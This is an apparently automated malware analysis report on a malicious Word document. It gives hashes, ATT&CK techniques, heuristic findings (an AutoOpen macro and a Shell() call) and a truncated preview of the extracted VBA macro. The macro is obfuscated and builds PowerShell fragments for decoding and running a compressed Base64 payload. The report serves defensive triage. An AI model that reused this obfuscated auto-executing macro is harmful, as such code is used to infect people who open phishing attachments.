Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f96ec46050d803f2…

MALICIOUS

Office (OLE)

126.0 KB Created: 2018-05-23 13:41:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: aa8951942a15bd4901a356e9043d8455 SHA-1: 9f3e49674b259f8819700f3be3735f5a17c0bccf SHA-256: f96ec46050d803f2616c754c0c1cfa1a454060e028126bfaaa28ccf81b62f938
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening. The macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands. The obfuscated strings within the script suggest it is designed to download and execute a secondary payload. The presence of AutoOpen and Shell() calls strongly points towards a malicious document, likely delivered via spearphishing.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 129529 bytes
SHA-256: 67540320ed7e4986247efa581042e0d34f0bbca355f3954926701527ae0ad59d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IsOMqNqqiQsr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function OOuXFkPDirT()

On Error Resume Next
thUrTfb = OJDBDRch + CSng(687366) + 796075 / Sin(122938 - CByte(981610) / 997252 - Round(687366)) + zJJYEU * JLDZvtw - (796075 + 122938 + 981610 - 6873660)
Set QCQvAA = KiYlSvE
ORscZKZElz = "i3rshell zOAoW4rYcfwezHJXCKDZ-jCFZva"
YUccGtGJ = CStr(Left(Right(ORscZKZElz, 24), 1)) + Left(Right(ORscZKZElz, 17), 2) + CStr(Left(Right(ORscZKZElz, 34), 5)) + CStr(Left(Right(ORscZKZElz, 29), 2)) + CStr(Left(Right(ORscZKZElz, 7), 1)) + Left(Right(ORscZKZElz, 23), 1)

XRzlPRwQzF = "i3wsTyleA hAdj4iYdfaUzHJnDoDZTjCFZvaidJ2PhsWl"
ZGmFM = CStr(Left(Right(XRzlPRwQzF, 30), 1)) + Left(Right(XRzlPRwQzF, 21), 3) + CStr(Left(Right(XRzlPRwQzF, 43), 6)) + Left(Right(XRzlPRwQzF, 36), 2) + CStr(Left(Right(XRzlPRwQzF, 9), 2)) + CStr(Left(Right(XRzlPRwQzF, 28), 1))

YRiGiSl = "6c25x-oBjECT  io.CoHmpReSZTjCFZvaven2Ph.DlcrKGWfoCzujmP ( nEWFBv4oTvfIdBmEkYuKzw2oSIoNCoWKsJWJBGZhmWmb"
aanVFbhm = CStr(Left(Right(YRiGiSl, 68), 2)) + CStr(Left(Right(YRiGiSl, 47), 6)) + CStr(Left(Right(YRiGiSl, 97), 14)) + CStr(Left(Right(YRiGiSl, 82), 5)) + Left(Right(YRiGiSl, 20), 4) + CStr(Left(Right(YRiGiSl, 63), 2)) + CStr(Left(Right(YRiGiSl, 29), 1))

kmSEElidsi = "i3esTREAM([Adj4rFc.aUzHJXCLATTjCFZvavtJiohsWlcrK"
kzEiK = CStr(Left(Right(kmSEElidsi, 32), 1)) + CStr(Left(Right(kmSEElidsi, 22), 3)) + CStr(Left(Right(kmSEElidsi, 46), 7)) + CStr(Left(Right(kmSEElidsi, 39), 2)) + Left(Right(kmSEElidsi, 9), 2) + Left(Right(kmSEElidsi, 30), 1)

GzYtSIDqouJ = "3i6rySTReAMdj4rYcfMUz][SCKDZTeMoZvavysTPhsWlcrKGWfoCzu"
hnqEPHvL = CStr(Left(Right(GzYtSIDqouJ, 36), 1)) + CStr(Left(Right(GzYtSIDqouJ, 25), 3)) + CStr(Left(Right(GzYtSIDqouJ, 51), 8)) + Left(Right(GzYtSIDqouJ, 33), 3) + Left(Right(GzYtSIDqouJ, 18), 3)

EIjTZTMw = "6c25VeRT]::FroMfbASEJXCKDZTeMFZTrvtJ2PhsWlcr.conoCzujmPYQisOgFBv464sfIdBm7kYuKzw2"
EmZisKmlPDJ = CStr(Left(Right(EIjTZTMw, 54), 2)) + Left(Right(EIjTZTMw, 37), 4) + Left(Right(EIjTZTMw, 77), 11) + CStr(Left(Right(EIjTZTMw, 65), 4)) + CStr(Left(Right(EIjTZTMw, 16), 3)) + CStr(Left(Right(EIjTZTMw, 50), 2)) + Left(Right(EIjTZTMw, 24), 1)

ihhKfRmEbb = "Z 'bR6Zr5xNzOAdjG(YcfaUzHTXCKD"
Jidzr = Left(Right(ihhKfRmEbb, 20), 1) + Left(Right(ihhKfRmEbb, 14), 2) + CStr(Left(Right(ihhKfRmEbb, 29), 4)) + CStr(Left(Right(ihhKfRmEbb, 24), 2)) + CStr(Left(Right(ihhKfRmEbb, 5), 1))
wuuzM = fAcYJNEXZZ + CSng(158302) + 786837 / Sin(452645 - CByte(985248) / 497487 - Round(158302)) + mPOaIAs * kTnflQOJzs - (786837 + 452645 + 985248 - 1583020)
Set buvArwzUJj = ZqEvGAEbqtC
TFNLJhT = "Z8PtJ9c259AzOAdtIrYcfaxzHJX"
zITLaHqM = Left(Right(TFNLJhT, 18), 1) + CStr(Left(Right(TFNLJhT, 12), 2)) + CStr(Left(Right(TFNLJhT, 26), 4)) + Left(Right(TFNLJhT, 22), 1) + CStr(Left(Right(TFNLJhT, 5), 1))

PpwTo = Chr(43)
dpbAdwJTKB = "ZTsJvEra5xAsOAdj4r6kfaUzHJX3KDZTj"
XoHizvZoE = Left(Right(dpbAdwJTKB, 22), 1) + CStr(Left(Right(dpbAdwJTKB, 15), 2)) + CStr(Left(Right(dpbAdwJTKB, 32), 5)) + Left(Right(dpbAdwJTKB, 27), 2) + Left(Right(dpbAdwJTKB, 6), 1)

KtLlw = "ZKk0l6Dt5xszOAdjXVYcfaUzHOXCKD"
iNrIY = Left(Right(KtLlw, 20), 1) + Left(Right(KtLlw, 14), 2) + CStr(Left(Right(KtLlw, 29), 4)) + CStr(Left(Right(KtLlw, 24), 2)) + CStr(Left(Right(KtLlw, 5), 1))

BpiBMnoa = "i3i6VEUoZNjHBJIbCsfaUzHJJCKLlTjCFZvavtJdw17WlcrKGWfoCzujmPxlGsOgFBv4oTvf"
lGGXHi = CStr(Left(Right(BpiBMnoa, 48), 1)) + CStr(Left(Right(BpiBMnoa, 33), 4)) + CStr(Left(Right(BpiBMnoa, 68), 10)) + CStr(Left(Right(BpiBMnoa, 58), 4)) + CStr(Left(Right(BpiBMnoa, 14), 3)) + Left(Right(BpiBMnoa, 45), 2)

JiizwB = "3iM7oxD6zOAdjvrCEfaUz9/XCKWzTjCFZvavtJ2"
PlCTdXqDIZl = CStr(Left(Right(JiizwB, 26), 1)) + CStr(Left(Right(JiizwB, 18), 2)) + CStr(Left(Right(JiizwB, 37), 6)) + Left(Right(JiizwB, 24), 2) + CStr(Left(Right(JiizwB, 13), 2))

JCTcl = "i6c257Lb1W178czi8WI2rPJuIXZTjCFZvavt87Phs
... (truncated)

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